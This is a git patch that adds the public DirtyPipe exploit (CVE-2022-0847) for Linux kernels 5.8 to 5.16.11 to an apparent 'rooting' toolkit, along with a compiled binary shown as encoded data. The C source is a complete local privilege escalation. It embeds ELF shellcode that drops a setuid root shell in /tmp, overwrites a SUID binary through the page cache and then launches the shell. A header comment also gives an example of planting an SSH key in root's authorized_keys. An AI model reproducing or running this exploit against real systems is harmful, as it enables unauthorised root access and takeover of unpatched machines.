From d5e43f65e1a9255b94b9f45500f60de56032ad84 Mon Sep 17 00:00:00 2001 From: syn Date: Wed, 5 Mar 2025 02:24:32 +0700 Subject: [PATCH] Rooting: Linux Kernel 5.8 < 5.16.11 - Local Privilege Escalation (DirtyPipe) --- rooting/50808.c | 214 ++++++++++++++++++++++++++++++++++++++++++ rooting/compile/50808 | Bin 0 -> 17216 bytes 2 files changed, 214 insertions(+) create mode 100644 rooting/50808.c create mode 100755 rooting/compile/50808 diff --git a/rooting/50808.c b/rooting/50808.c new file mode 100644 index 0000000..008530d --- /dev/null +++ b/rooting/50808.c @@ -0,0 +1,214 @@ +// Exploit Title: Linux Kernel 5.8 < 5.16.11 - Local Privilege Escalation (DirtyPipe) +// Exploit Author: blasty (peter@haxx.in) +// Original Author: Max Kellermann (max.kellermann@ionos.com) +// CVE: CVE-2022-0847 + +/* SPDX-License-Identifier: GPL-2.0 */ +/* + * Copyright 2022 CM4all GmbH / IONOS SE + * + * author: Max Kellermann + * + * Proof-of-concept exploit for the Dirty Pipe + * vulnerability (CVE-2022-0847) caused by an uninitialized + * "pipe_buffer.flags" variable. It demonstrates how to overwrite any + * file contents in the page cache, even if the file is not permitted + * to be written, immutable or on a read-only mount. + * + * This exploit requires Linux 5.8 or later; the code path was made + * reachable by commit f6dd975583bd ("pipe: merge + * anon_pipe_buf*_ops"). The commit did not introduce the bug, it was + * there before, it just provided an easy way to exploit it. + * + * There are two major limitations of this exploit: the offset cannot + * be on a page boundary (it needs to write one byte before the offset + * to add a reference to this page to the pipe), and the write cannot + * cross a page boundary. + * + * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n' + * + * Further explanation: https://dirtypipe.cm4all.com/ + */ + +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include + +#ifndef PAGE_SIZE +#define PAGE_SIZE 4096 +#endif + +// small (linux x86_64) ELF file matroshka doll that does; +// fd = open("/tmp/sh", O_WRONLY | O_CREAT | O_TRUNC); +// write(fd, elfcode, elfcode_len) +// chmod("/tmp/sh", 04755) +// close(fd); +// exit(0); +// +// the dropped ELF simply does: +// setuid(0); +// setgid(0); +// execve("/bin/sh", ["/bin/sh", NULL], [NULL]); +unsigned char elfcode[] = { + /*0x7f,*/ 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00, + 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x97, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x97, 0x01, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x48, 0x8d, 0x3d, 0x56, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0x41, 0x02, + 0x00, 0x00, 0x48, 0xc7, 0xc0, 0x02, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, + 0x89, 0xc7, 0x48, 0x8d, 0x35, 0x44, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc2, + 0xba, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc0, 0x01, 0x00, 0x00, 0x00, 0x0f, + 0x05, 0x48, 0xc7, 0xc0, 0x03, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d, + 0x3d, 0x1c, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0xed, 0x09, 0x00, 0x00, + 0x48, 0xc7, 0xc0, 0x5a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff, + 0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x2f, 0x74, 0x6d, + 0x70, 0x2f, 0x73, 0x68, 0x00, 0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, + 0x00, 0x01, 0x00, 0x00, 0x00, 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, + 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, + 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, + 0x00, 0x00, 0x00, 0x00, 0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x69, + 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x6a, + 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d, 0x3d, 0x1b, 0x00, 0x00, 0x00, + 0x6a, 0x00, 0x48, 0x89, 0xe2, 0x57, 0x48, 0x89, 0xe6, 0x48, 0xc7, 0xc0, + 0x3b, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00, + 0x00, 0x0f, 0x05, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00 +}; + +/** + * Create a pipe where all "bufs" on the pipe_inode_info ring have the + * PIPE_BUF_FLAG_CAN_MERGE flag set. + */ +static void prepare_pipe(int p[2]) +{ + if (pipe(p)) abort(); + + const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ); + static char buffer[4096]; + + /* fill the pipe completely; each pipe_buffer will now have + the PIPE_BUF_FLAG_CAN_MERGE flag */ + for (unsigned r = pipe_size; r > 0;) { + unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r; + write(p[1], buffer, n); + r -= n; + } + + /* drain the pipe, freeing all pipe_buffer instances (but + leaving the flags initialized) */ + for (unsigned r = pipe_size; r > 0;) { + unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r; + read(p[0], buffer, n); + r -= n; + } + + /* the pipe is now empty, and if somebody adds a new + pipe_buffer without initializing its "flags", the buffer + will be mergeable */ +} + +int hax(char *filename, long offset, uint8_t *data, size_t len) { + /* open the input file and validate the specified offset */ + const int fd = open(filename, O_RDONLY); // yes, read-only! :-) + if (fd < 0) { + perror("open failed"); + return -1; + } + + struct stat st; + if (fstat(fd, &st)) { + perror("stat failed"); + return -1; + } + + /* create the pipe with all flags initialized with + PIPE_BUF_FLAG_CAN_MERGE */ + int p[2]; + prepare_pipe(p); + + /* splice one byte from before the specified offset into the + pipe; this will add a reference to the page cache, but + since copy_page_to_iter_pipe() does not initialize the + "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */ + --offset; + ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0); + if (nbytes < 0) { + perror("splice failed"); + return -1; + } + if (nbytes == 0) { + fprintf(stderr, "short splice\n"); + return -1; + } + + /* the following write will not create a new pipe_buffer, but + will instead write into the page cache, because of the + PIPE_BUF_FLAG_CAN_MERGE flag */ + nbytes = write(p[1], data, len); + if (nbytes < 0) { + perror("write failed"); + return -1; + } + if ((size_t)nbytes < len) { + fprintf(stderr, "short write\n"); + return -1; + } + + close(fd); + + return 0; +} + +int main(int argc, char **argv) { + if (argc != 2) { + fprintf(stderr, "Usage: %s SUID\n", argv[0]); + return EXIT_FAILURE; + } + + char *path = argv[1]; + uint8_t *data = elfcode; + + int fd = open(path, O_RDONLY); + uint8_t *orig_bytes = malloc(sizeof(elfcode)); + lseek(fd, 1, SEEK_SET); + read(fd, orig_bytes, sizeof(elfcode)); + close(fd); + + printf("[+] hijacking suid binary..\n"); + if (hax(path, 1, elfcode, sizeof(elfcode)) != 0) { + printf("[~] failed\n"); + return EXIT_FAILURE; + } + + printf("[+] dropping suid shell..\n"); + system(path); + + printf("[+] restoring suid binary..\n"); + if (hax(path, 1, orig_bytes, sizeof(elfcode)) != 0) { + printf("[~] failed\n"); + return EXIT_FAILURE; + } + + printf("[+] popping root shell.. (dont forget to clean up /tmp/sh ;))\n"); + system("/tmp/sh"); + + return EXIT_SUCCESS; +} + diff --git a/rooting/compile/50808 b/rooting/compile/50808 new file mode 100755 index 0000000000000000000000000000000000000000..66a37f314fed56fc19b7bfab1e71326f9c75f89b GIT binary patch literal 17216 zcmeHOe{fXCeczK1R%}4RK#Z{i&m?3Zt_}f$3fsgd(7{s+HUZQ)v7M)r?nyfPba%ab z7fW`)aupcgT&}^HU^|^m#_1nP+GK3!M;YP?M7A4*GYQ3QCnXb4hEm(33)m61ld3NE z_4D1`@4I)ecWEa-{>j{GPT&20zCU*N`}Xa=ef##o@XqZGfq>xDC_XHR>$_SZAuSlc zS!X~(qEpPr{}p1nmK{N-lh~Tepv?*N$S-*{19|w^Y&tx)EPntZ=p?cVuU3 zJ5$>+ouLXLG39uYJNk9%c=~BO86h$C+YM_wKkZg#f+>|jY40me^tUN*x3+7&LHY4h zE{7?X_Yv4pT>ig_FY_L*XN~J{N?$*wI=o_SJl4OdV{JUz7LO&eqiv&|o7y&Y1T)Ft zdRYakmw_MksU5fV3b>ghOovf4j4Ph~k&G@i$w@!C|7Tyg?qcUvU%E5b**E%6^P2ws zo0mw3>PHU0Z*;NvxLvj%R}z;CaCf4l}x@vm0TjvDxzzzzKTX$gR8 ze(0)J!_zhJu^M_X1cbmWfHaph!F}2+JB6jaY-RL?j-&-xg^* z5)~tncsw~E1_u&O916Ha2CR$|Njug^B$g0^sdOyi42o3N$%srU9viSlW-Q~_BVr() z%-ABCvJ)Z|OW7ixvF&?Bq(7N9k1UUotHQ?@PxV8{Xk~;9hHB_+D!;5{rvL z@Q$D&=_cGHcI@ogy3JZ2+_1sTcDT8XZf!hCQTI=aJc~PP{Jq$p!FCik4xWvPov2V32Dr59di-x$5fY?7 zOp@aHQmHg}Sn~9sQ2ggIPZM?VxiU`=48?Did77|`e_Q5hqAq@}%+my2{Hrog6LT?L z=4nDM_Lq5@h>Ls5JWasGt!17j-s1W)PZMr&Wtpdmws>`!rwO*$Q0D2urufFYZhL8> zEuMGz(yAweLJYR7=oT_QrB%PiYSYWV?&Dwe@jv(RKk@OWef&uuf5OKf_3=;o_^YVapBF4+~Ay@664!&JuLZO;Dn)`JU3bmKEcq_q?Xizl7kMg^j-;vgTbg zH)B5g`mN@(vyEopr1|2z&SE%d(hizS=hSs!d+NXATaLq4WN+*>C$^mb6J*WYE6zMK zzvWdh)7RocPe;)kPBtBZUf^!ny5*C7@jeJC(+fM?OzmcF|5-C1K5OQtrXPScYTh(` z{+&`uf)kT-^5R4@Zi3v@F>1^7e?pWCzm*Tal?z|I(2);ce1;YZo6ofDcrF*dobSC{ zHZ%+KS5r%Kr{VlG4D;d3Yr+>N_Foj)lhVV?h4y@S#_M4=-#bel@`%&?Ur;Ed^^CNh zT@#*}*gqq(KRkT+h3DO7JaqA#48-wHG|tTZL%SqLR!dSaK%!=T&Z^Z?DLlJw(##(u z)e`{VU$^Wywd~+d;1kE`zZkm~m-e%`At^RbL3#{mshGwPViu0{A)lA(X6`3YcoGT- z9@z|On+IH*4@;Yacff`NjXKDBPD}^PoXqBr+(q(&tiN*I^J>aCEJFsbwB!unS1t``4F5SpQ!A=YO|lit!f~x%ku|i zUGhgLdST0vKs=oeA*#>Mg~qKkeO0#6q}PtNUs$;@TXOzeND!C8wgbjHlLqQpZ~ zVqyLgS;%SkYClDeDFnq^=-Np2P_vl}Popj0T0^xA&j6mT>?DuFEEj(H`;WqC`T;Od zo6Uz`eunBO8-z+PB0RrK;-sj$a2rr)Lf%O7Leu9k7tjU!{M)1+p8l@XEiCCk=_)o5 zUQ_N?2ef_^`l{*=QD6#9DJ}SO?TDN{NclojQj6N9NZwki9Jhd@h&uW$UBdTix z!ux^l(&%gdB|Uyhv&%_|TKxjezH~3jx!IkKNmNhu2-G7`k3c;F^$64>P>;ax7J-0% zt4>=p25q$1QEbRW95*kwaa?W~8#ad8+PPB5otjFKgsv35naGfRld&pe?CtI8zEa$I z>h0B#1cbBCL4eD~Hx!mP(_b?K7p)6QChbdOF*EsZ{C%-TX$WbOuzsSt`wdH2$hoYQ>`|CEoK0 z+`mTzMq2~d&AX!cFl2<&Ug$J@eUKEpub{UH;sf~69^>KHOC^JRENI=nVCkQ=TyP>(=80`&;gBT$b( zJpzC95#aBu_TzvP z>kUf$%@lvL^@Oe<wQ+43B2%@iOXNEdDg?*eAzw}Cn4;jNq$)S!`=tWr6rbA zlJC%RyjPbzw?n)Cy%GK%+wZVlFUmri?$)$V)0C#;njY5l2~D5YbW+nZnx4~iMpJyW zDO0PahNkVB`s?+7@y(&?8ouKJ4f=S%s8IUVtmt?E-ws5%YpMd+Lea;xB2%H8hi%=z zfWA3(vI{-WoSLNm*V2Sd80_@Y`rMp)j<$y&ArFvDP12=Crm%(X6OwY7*Boz6 z@XkW)*tYE^V|8zTHsNHAbsK`~gY9h{S;=l#qXAg{hD1@DBQBNvDs*4cm#v@CH;$nd z=$pW5`gGqmpkar-9}@yIG(PFWH)x#4O|UZc;C}$4-l;CdQ~fB>_tF7;@y_F*1o7`v z_))p;IIIN^g9gMBcU;x5_$o5h>i-mQ^3$U~dYsY*-vg!koYVE;Yga1{Kal#1MQEjV z;33t@{THc!jqr~nFG;&ag3m>;n_o)(rS5plcoPEU3$YZftbum`H`v%i7vTmo1ZJg> z2Sj#v4L^|@IBn!ttIyZrzZ(8&=(nQWqg|Ed=E+aPLU+Do=_9}wLf;4}gtm7neS!2< zw&MSHYT#2f@SoPeFVw&IqT4L!%nhXzxPc)Ls#)sHRw6Lw`MRqf%9JG%PM` zxK{Yb?b`^aNN6K`Wg^qvHT_H}LD8HR=b2uR31mC>ONcentZ!}v{yFVvobtG-blB5_%= zmZwfC5X+86oQRMC5_WuWAQ}DN2S;3s4t*BI1<0v9hf;yalPVPm#jFAtj*QClFcl!K zE-Ir=kMKztpF-vF5-XZXTEme{a|Rx#P+q$jj|1|&zRrjv-h7LrF|`L;`xX%dhYX<&(EDq4OZ0DZ~sx?zs6dR z>(A?9rmM9buZR8hk3ddqVYcV>GSiS2P#r0DY|rafdWxqUA_^EYE`T7e(Yihc{7eBs!T1)&G8B*c?!|N8N-K?mozx<#1?C-ciDKfq2v-g+( z3gip$qkE7NpM&Ic_kMlmnO=fT3w~_R>&#Fac`Nr<#g%!se+L5UyKK+vIX=HXqvJ>S zA0@Wq>;H9Nq{8<6zO8dDX$x^m5%)jaGo1@#ue}Iq)pkXX>hjrv!5K~GK~BE7d_ISH zbe&S*`-sg9&S<(&m#>R+rEI^-MO22Xa@t59LaNWK3 eoqwvh)jlDY%er*C`c$N-?